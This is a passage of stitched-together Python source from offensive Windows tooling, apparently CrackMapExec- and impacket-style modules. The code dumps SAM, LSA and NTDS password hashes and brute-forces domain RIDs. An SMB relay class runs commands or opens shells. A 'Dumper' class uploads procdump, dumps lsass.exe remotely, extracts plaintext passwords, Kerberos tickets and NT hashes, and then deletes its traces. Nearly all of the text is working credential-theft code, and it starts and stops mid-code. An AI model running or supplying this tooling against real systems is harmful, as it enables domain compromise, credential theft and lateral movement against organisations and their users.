self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername)) try: group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0] except IndexError: group_id = self.db.add_group(group.groupdomain, self.args.groups) if not group.isgroup: self.db.add_user(group.memberdomain, group.membername, group_id) elif group.isgroup: self.db.add_group(group.groupdomain, group.groupname) break except Exception as e: self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e)) else: try: groups = get_netgroup(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(), queried_username=str(), queried_domain=str(), ads_path=str(), admin_count=False, full_data=True, custom_filter=str()) self.logger.success('Enumerated domain group(s)') for group in groups: self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0)) if bool(group.isgroup) is True: # Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name domain = self.domainfromdsn(group.distinguishedname) self.db.add_group(domain, group.samaccountname) break except Exception as e: self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e)) return groups def users(self): users = [] for dc_ip in self.get_dc_ips(): try: users = get_netuser(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(), admin_count=False, spn=False, unconstrained=False, allow_delegation=False, custom_filter=str()) self.logger.success('Enumerated domain user(s)') for user in users: domain = self.domainfromdsn(user.distinguishedname) self.logger.highlight('{}\\{:<30} badpwdcount: {} baddpwdtime: {}'.format(domain,user.samaccountname,getattr(user,'badpwdcount',0),getattr(user, 'badpasswordtime',''))) self.db.add_user(domain, user.samaccountname) break except Exception as e: logging.debug('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e)) return users def loggedon_users(self): loggedon = [] try: loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash) self.logger.success('Enumerated loggedon users') for user in loggedon: self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username, 'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else '')) except Exception as e: self.logger.error('Error enumerating logged on users: {}'.format(e)) return loggedon def pass_pol(self): return PassPolDump(self).dump() @requires_admin def wmi(self, wmi_query=None, namespace=None): records = [] if not namespace: namespace = self.args.wmi_namespace try: rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) rpc._create_wmi_connection(namespace=namespace) if wmi_query: query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY) else: query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY) except Exception as e: self.logger.error('Error creating WMI connection: {}'.format(e)) return records while True: try: wmi_results = query.Next(0xffffffff, 1)[0] record = wmi_results.getProperties() records.append(record) for k,v in record.items(): self.logger.highlight('{} => {}'.format(k,v['value'])) self.logger.highlight('') except Exception as e: if str(e).find('S_FALSE') < 0: raise e else: break return records def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True): spider = SMBSpider(self.conn, self.logger) self.logger.info('Started spidering') start_time = time() if not share: spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern, self.args.regex, self.args.exclude_dirs, self.args.depth, self.args.content, self.args.only_files) else: spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles) self.logger.info("Done spidering (Completed in {})".format(time() - start_time)) return spider.results def rid_brute(self, maxRid=None): entries = [] if not maxRid: maxRid = int(self.args.rid_brute) KNOWN_PROTOCOLS = { 135: {'bindstr': r'ncacn_ip_tcp:%s', 'set_host': False}, 139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True}, 445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True}, } try: stringbinding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host) logging.debug('StringBinding {}'.format(stringbinding)) rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(self.args.port) if KNOWN_PROTOCOLS[self.args.port]['set_host']: rpctransport.setRemoteHost(self.host) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash) dce = rpctransport.get_dce_rpc() dce.connect() except Exception as e: self.logger.error('Error creating DCERPC connection: {}'.format(e)) return entries # Want encryption? Uncomment next line # But make SIMULTANEOUS variable <= 100 #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) # Want fragmentation? Uncomment next line #dce.set_max_fragment_size(32) self.logger.success('Brute forcing RIDs') dce.bind(lsat.MSRPC_UUID_LSAT) resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) policyHandle = resp['PolicyHandle'] resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() soFar = 0 SIMULTANEOUS = 1000 for j in range(maxRid//SIMULTANEOUS+1): if (maxRid - soFar) // SIMULTANEOUS == 0: sidsToCheck = (maxRid - soFar) % SIMULTANEOUS else: sidsToCheck = SIMULTANEOUS if sidsToCheck == 0: break sids = list() for i in range(soFar, soFar+sidsToCheck): sids.append(domainSid + '-%d' % i) try: lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) except DCERPCException as e: if str(e).find('STATUS_NONE_MAPPED') >= 0: soFar += SIMULTANEOUS continue elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0: resp = e.get_packet() else: raise for n, item in enumerate(resp['TranslatedNames']['Names']): if item['Use'] != SID_NAME_USE.SidTypeUnknown: rid = soFar + n domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'] user = item['Name'] sid_type = SID_NAME_USE.enumItems(item['Use']).name self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type)) entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type}) soFar += SIMULTANEOUS dce.disconnect() return entries @requires_admin def put_file(self): self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1])) with open(self.args.put_file[0], 'rb') as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) self.logger.success('Created file {} on \\\\{}{}'.format(self.args.put_file[0], self.args.share, self.args.put_file[1])) except Exception as e: self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e)) @requires_admin def get_file(self): self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1])) with open(self.args.get_file[1], 'wb+') as file: try: self.conn.getFile(self.args.share, self.args.get_file[0], file.write) self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1])) except Exception as e: self.logger.error('Error reading file {}: {}'.format(self.args.share, e)) def enable_remoteops(self): if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.error('RemoteOperations failed: {}'.format(e)) @requires_admin def sam(self): self.enable_remoteops() host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_sam_hash(sam_hash, host_id): add_sam_hash.sam_hashes += 1 self.logger.highlight(sam_hash) username,_,lmhash,nthash,_,_,_ = sam_hash.split(':') self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id) add_sam_hash.sam_hashes = 0 if self.remote_ops and self.bootkey: #try: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id)) self.logger.success('Dumping SAM hashes') SAM.dump() SAM.export(self.output_filename) self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes))) #except Exception as e: #self.logger.error('SAM hashes extraction failed: {}'.format(e)) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) SAM.finish() @requires_admin def lsa(self): self.enable_remoteops() def add_lsa_secret(secret): add_lsa_secret.secrets += 1 self.logger.highlight(secret) add_lsa_secret.secrets = 0 if self.remote_ops and self.bootkey: SECURITYFileName = self.remote_ops.saveSECURITY() LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True, perSecretCallback=lambda secretType, secret: add_lsa_secret(secret)) self.logger.success('Dumping LSA secrets') LSA.dumpCachedHashes() LSA.exportCached(self.output_filename) LSA.dumpSecrets() LSA.exportSecrets(self.output_filename) self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets), self.output_filename + '.secrets', self.output_filename + '.cached')) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) LSA.finish() @requires_admin def ntds(self): self.enable_remoteops() use_vss_method = False NTDSFileName = None host_id = self.db.get_computers(filterTerm=self.host)[0][0] def add_ntds_hash(ntds_hash, host_id): add_ntds_hash.ntds_hashes += 1 self.logger.highlight(ntds_hash) if ntds_hash.find('$') == -1: if ntds_hash.find('\\') != -1: domain, hash = ntds_hash.split('\\') else: domain = self.domain hash = ntds_hash try: username,_,lmhash,nthash,_,_,_ = hash.split(':') parsed_hash = ':'.join((lmhash, nthash)) if validate_ntlm(parsed_hash): self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id) add_ntds_hash.added_to_db += 1 return raise except: logging.debug("Dumped hash is not NTLM, not adding to db for now ;)") else: logging.debug("Dumped hash is a computer account, not adding to db") add_ntds_hash.ntds_hashes = 0 add_ntds_hash.added_to_db = 0 if self.remote_ops and self.bootkey: try: if self.args.ntds == 'vss': NTDSFileName = self.remote_ops.saveNTDS() use_vss_method = True NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True, remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename, justUser=None, printUserStatus=False, perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id)) self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...') NTDS.dump() self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds', highlight(add_ntds_hash.added_to_db))) except Exception as e: #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: # We don't store the resume file if this error happened, since this error is related to lack # of enough privileges to access DRSUAPI. # resumeFile = NTDS.getResumeSessionFile() # if resumeFile is not None: # os.unlink(resumeFile) self.logger.error(e) try: self.remote_ops.finish() except Exception as e: logging.debug("Error calling remote_ops.finish(): {}".format(e)) NTDS.finish()
class SMBAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["SMB"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__answerTMP = '' if self.config.interactive: #Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something went wrong, most probably we don't have access as admin. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print self.__answerTMP.decode(self.config.encoding, 'replace') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: LOG.error(str(e)) finally:
class SMBAttack(ProtocolAttack): """ This is the SMB default attack class. It will either dump the hashes from the remote target, or open an interactive shell if the -i option is specified. """ PLUGIN_NAMES = ["SMB"] def __init__(self, config, SMBClient, username): ProtocolAttack.__init__(self, config, SMBClient, username) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__answerTMP = bytearray() if self.config.interactive: #Launch locally listening interactive shell self.tcpshell = TcpShell() else: self.tcpshell = None if self.config.exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.tcpshell is not None: LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port) #Start listening and launch interactive shell self.tcpshell.listen() self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell) self.shell.cmdloop() return if self.config.exeFile is not None: result = self.installService.install() if result is True: LOG.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER if self.__SMBConnection.getDialect() == smb.SMB_DIALECT: flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception as e: if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges if self.config.enumLocalAdmins: LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection) try: localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins() LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding))) for name in localAdminNames: LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name)) except DCERPCException: LOG.info("SAMR access denied") return # Something else went wrong. aborting LOG.error(str(e)) return try: if self.config.command is not None: remoteOps._RemoteOperations__executeRemote(self.config.command) LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') print(self.__answerTMP.decode(self.config.encoding, 'replace')) else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception as e: LOG.error(str(e)) finally: if samHashes is not None: samHashes.finish() if remoteOps is not None: remoteOps.finish()
class Dumper: def __init__(self, username, password, domain, target, auth, hashes): self.target = target self.auth = auth if domain is None: domain = "" self.credentials = { "username": username, "password": password, "domain": domain, "hashes": hashes, } if self.credentials["hashes"] != "": self.credentials["hashes"] = self.credentials["hashes"].lower() self.credentials["lm_hash"] = self.credentials["hashes"].split( ":")[0] self.credentials["nt_hash"] = self.credentials["hashes"].split( ":")[1] else: self.credentials["hashes"] = None self.credentials["lm_hash"] = "" self.credentials["nt_hash"] = "" self.smb = SMBConnection(self.target, self.target, sess_port=445, timeout=4) self.host_info = self.enum_host_info() def enum_host_info(self): print("Performing enumeration") info_dict = {} self.smb.login( user=self.credentials["username"], password=self.credentials["password"], domain=self.credentials["domain"], nthash=self.credentials["nt_hash"], lmhash=self.credentials["lm_hash"], ) os = self.smb.getServerOS() arch = self.get_arch() domain = self.smb.getServerDomain() info_dict.update({"target": self.target}) info_dict.update({"os": os}) info_dict.update({"domain": domain}) info_dict.update({"arch": arch}) print("Done") return info_dict def get_arch(self): options = Namespace() options.target = self.target NDR64Syntax = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0") try: stringBinding = r"ncacn_ip_tcp:%s[135]" % self.target transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(2) dce = transport.get_dce_rpc() dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=NDR64Syntax) except DCERPCException as e: if str(e).find("syntaxes_not_supported") >= 0: return 32 else: print(str(e)) pass else: return 64 dce.disconnect() except Exception as e: print(f"{self.target}, {str(e)}") print(f"Failed to determine {self.target} architecture") print("Attempt to proceed with 32 bit procdump") return 32 def upload_file(self): print("Uploading file") if self.host_info["arch"] == 64: src = src_x64 filename = re.sub(r"\d+", "", path.basename(src)) self.smb.putFile("C$", "/Users/Public/Documents/" + filename, open(src, "rb").read) elif self.host_info["arch"] == 32: src = src_x32 filename = re.sub(r"\d+", "", path.basename(src)) self.smb.putFile("C$", "/Users/Public/Documents/" + filename, open(src, "rb").read) else: print("Something went wrong") sys.exit(1) print("Done") def exec_procdump(self): print("Executing procdump") if self.credentials["password"] != "": password = self.credentials["password"] else: password = "" if self.auth == "psexec": executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ).run(self.target, self.target) if self.host_info["arch"] == 64: executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ) else: executer = PSEXEC( "C:\\Users\\Public\\Documents\\procdump.exe -ma lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", None, None, None, int(445), self.credentials["username"], password, self.credentials["domain"], self.credentials["hashes"], None, False, None, "", ) executer.run(remoteName=self.target, remoteHost=self.target) elif self.auth == "wmiexec": executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ).run(self.target) if self.host_info["arch"] == 64: executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ) else: executer = WMIEXEC( command= "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump", username=self.credentials["username"], password=password, domain=self.credentials["domain"], hashes=self.credentials["hashes"], aesKey=None, share="C$", noOutput=False, doKerberos=False, kdcHost=None, ) executer.run(self.target) print("Done") def dump_lsass(self): print("Dumping") self.smb.getFile( "C$", "/Users/Public/Documents/lsass_dump.dmp", open("lsass_dump.dmp", "wb").write, ) print("Done") def clear_out(self): print("Starting ClearOut") self.smb.deleteFile("C$", "/Users/Public/Documents/lsass_dump.dmp") self.smb.deleteFile("C$", "/Users/Public/Documents/procdump.exe") self.smb.close() print("ClearOut Done") # def clean_up(self): # print("Searching for files") # if self.credentials["password"] != "": # password = self.credentials["password"] # else: # password = "" # if self.auth == "psexec": # executer = PSEXEC( # "dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}", # None, # None, # None, # int(445), # self.credentials["username"], # password, # self.credentials["domain"], # self.credentials["hashes"], # None, # False, # None, # "", # ).run(self.target, self.target) # elif self.auth == "wmiexec": # executer = WMIEXEC( # command="dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}", # username=self.credentials["username"], # password=password, # domain=self.credentials["domain"], # hashes=self.credentials["hashes"], # aesKey=None, # share="C$", # noOutput=False, # doKerberos=False, # kdcHost=None, # ).run(self.target) # # self.smb.login( # # user=self.credentials["username"], # # password=self.credentials["password"], # # domain=self.credentials["domain"], # # nthash=self.credentials["nt_hash"], # # lmhash=self.credentials["lm_hash"], # # ) # # pdb.set_trace() @staticmethod def dump_to_pypykatz(dump_file="./lsass_dump.dmp"): print("Pypykatz doing his job...") cmdhelpers = [ LSACMDHelper(), RegistryCMDHelper(), CryptoCMDHelper(), LDAPCMDHelper(), KerberosCMDHelper(), RemoteCMDHelper(), ] args = Namespace() args.cmd = "minidump" args.command = "lsa" args.directory = False args.halt_on_error = False args.json = True args.kerberos_dir = False args.memoryfile = dump_file args.outfile = "temp_report.json" args.recursive = False args.timestamp_override = None args.verbose = 0 for helper in cmdhelpers: helper.execute(args) print("Removing dump file") os.remove(dump_file) print("Done") @staticmethod def create_report(filename, verbose): print("Creating report") with open("./temp_report.json", "r") as jf: parsed = json.load(jf)["./lsass_dump.dmp"] with open(filename, "w") as report: for el in parsed["logon_sessions"]: temp = parsed["logon_sessions"][el] if len(temp["kerberos_creds"]) > 0: for cr in temp["kerberos_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From Kerberos (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']} / {cr['username']}:{cr['password']}\n" ) elif len(cr["tickets"]) > 0: if verbose == 1: report.write( f"From Kerberos (Domain/username:tickets) -- {cr['domainname']} / {cr['username']}:{cr['tickets']}\n" ) else: report.write( f"Tickets--{cr['domainname']} / {cr['username']}:{cr['tickets']}\n" ) if len(temp["livessp_creds"]) > 0: report.write("Did not expect creds to be in livessp\n") if len(temp["ssp_creds"]) > 0: for cr in temp["ssp_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From SSP (Domain/username:password) -- {cr['domainname']}/{cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']}/{cr['username']}:{cr['password']}\n" ) if len(temp["wdigest_creds"]) > 0: for cr in temp["wdigest_creds"]: if cr["username"] is not None: if cr["password"] is not None: if verbose == 1: report.write( f"From Wdigest (Domain/username:password) -- {cr['domainname']} / {cr['username']}:{cr['password']}\n" ) else: report.write( f"{cr['domainname']} / {cr['username']}:{cr['password']}\n" ) if len(temp["msv_creds"]) > 0: for cr in temp["msv_creds"]: if cr["username"] is not None: if cr["NThash"] is not None: if verbose == 1: report.write( f"From MSV (Domain/username:NThash) -- {cr['domainname']} / {cr['username']}:{cr['NThash']}\n" ) else: report.write( f"NTHASH--{cr['domainname']} / {cr['username']}:{cr['NThash']}\n" ) for el in parsed["orphaned_creds"]: if "username" in el.keys() and el["username"] is not "": if el["password"] is not None: if verbose == 1: report.write( f"From orphaned creds (Domain/username:password) -- {el['domainname']} / {el['username']}:{el['password']}\n" ) else: report.write( f"{el['domainname']} / {el['username']}:{el['password']}\n" ) elif "tickets" in el.keys() and len(el["tickets"]) > 0: if verbose == 1: report.write( f"From orphaned creds (Domain/username:tickets) -- {el['domainname']} / {el['username']}:{el['tickets']}\n" ) else: report.write( f"Tickets--{el['domainname']} / {el['username']}:{el['tickets']}\n" ) os.remove("./temp_report.json") print("Done :)") def run(self): self.upload_file() self.exec_procdump() self.dump_lsass() self.clear_out()
class SmbCon(Connector): def __init__(self, args, loggers, host, db): Connector.__init__(self, args, loggers, host) self.auth = False self.con = False self.client = ''.join( [choice(ascii_letters + digits) for x in range(7)]) self.smbv1 = False self.os = '' self.admin = False self.signing = False self.os_arch = '0' self.remote_ops = None self.bootkey = None self.db = db self.port = 445 ######################### # Session Management ######################### def create_smb_con(self): # Create SMB Con if self.smb_connection(): self.host_info() try: # SMB Auth self.con.login(self.username, self.password, self.domain, lmhash=self.lmhash, nthash=self.nthash) self.auth = True self.host_info() self.isAdmin() self.update_db() except Exception as e: raise Exception(str(e)) else: raise Exception('Connection to Server Failed') def update_db(self): self.db.update_host(self.host, self.ip, self.domain, self.os, self.signing) if self.username and self.password or self.username and self.hash: self.db.update_user(self.username, self.password, self.domain, self.hash) if self.admin: self.db.update_admin(self.username, self.domain, self.host) def logoff(self): self.con.logoff() def close(self): try: self.con.logoff() except: pass try: self.con.close() except: pass ######################### # SMB Connection ######################### def smb_connection(self): if self.smbv1_con(): return True elif self.smbv3_con(): return True return False def smbv1_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, preferredDialect=SMB_DIALECT, timeout=int(self.timeout)) self.smbv1 = True self.con.setTimeout(self.timeout) return True except Exception as e: return False def smbv3_con(self): try: self.con = SMBConnection(self.client, self.host, sess_port=self.port, timeout=int(self.timeout)) self.con.setTimeout(self.timeout) return True except Exception as e: return False ######################### # Authentication (NOT IN USE) ######################### def set_host(self, local_auth): # Get domain for authentication purposes if local_auth: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() else: self.domain = self.con.getServerDNSDomainName() # Backup for Linux/Unix systems if not self.domain: self.domain = self.con.getServerName( ) + "." + self.con.getServerDNSDomainName() ################################ # Enumerate Host information ################################ def host_info(self): try: self.srvdomain = self.get_domain() self.host = self.get_hostname() self.os = self.con.getServerOS() self.signing = self.con.isSigningRequired() arch = self.get_os_arch() if arch == 32 or arch == 64: self.os_arch = " x{}".format(str(arch)) else: self.os_arch = '' except Exception as e: self.logger.debug("SMB Host Info: {}".format(str(e))) def get_os_arch(self): # Credit: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py # Credit: https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_19/examples/getArch.py try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() dce.connect() try: dce.bind( MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except DCERPCException as e: if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except: return 0 def get_hostname(self): if self.con.getServerDNSDomainName() and not self.local_auth: if self.con.getServerName().lower( ) != self.con.getServerDNSDomainName().lower(): return (self.con.getServerName() + "." + self.con.getServerDNSDomainName()) else: return self.con.getServerName() else: return self.con.getServerName() def get_domain(self): try: return self.con.getServerDomain() except: return self.getServerName() def list_shares(self): # name=share['shi1_netname'][:-1], description=share['shi1_remark'] return self.con.listShares() ################################ # Host/Domain Password Policy ################################ def password_policy(self): SAMRDump(self).dump(self.host) ################################ # List Shares & Check Share Permissions ################################ def read_perm(self, share): try: # Silently list path to check access self.list_path(share, False) return True except: return False def write_perm(self, share): try: # Create dir to check write access tmp = '.' + ''.join( [choice(ascii_letters + digits) for x in range(5)]) self.con.createDirectory(share, tmp) self.con.deleteDirectory(share, tmp) return True except Exception as e: return False def list_path(self, share, path): if not path: path = '/*' return self.con.listPath(share, path) ################################ # Check if User Admin ################################ def isAdmin(self): rpctransport = SMBTransport(self.host, self.port, r'\svcctl', smb_connection=self.con) dce = rpctransport.get_dce_rpc() try: dce.connect() except: pass else: dce.bind(scmr.MSRPC_UUID_SCMR) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host), 'ServicesActive\x00', 0xF003F) self.admin = True return True except scmr.DCERPCException as e: pass return False ################################ # Dump SAM / LSA ################################ def enable_remoteops(self): # Source: https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py if self.remote_ops is not None and self.bootkey is not None: return try: self.remote_ops = RemoteOperations(self.con, False, None) self.remote_ops.enableRegistry() self.bootkey = self.remote_ops.getBootKey() except Exception as e: self.logger.fail('RemoteOperations failed for {}: {}'.format( self.host, str(e))) def sam(self): try: self.enable_remoteops() def add_sam_hash(sam_hash, host_id): self.logger.success( [self.host, highlight("SAM HASH"), sam_hash]) username, _, lmhash, nthash, _, _, _ = sam_hash.split(':') self.db.update_user(username, '', host_id, "{}:{}".format(lmhash, nthash)) if self.remote_ops and self.bootkey: SAMFileName = self.remote_ops.saveSAM() SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash( secret, self.host)) SAM.dump() except Exception as e: self.logger.fail('SAM 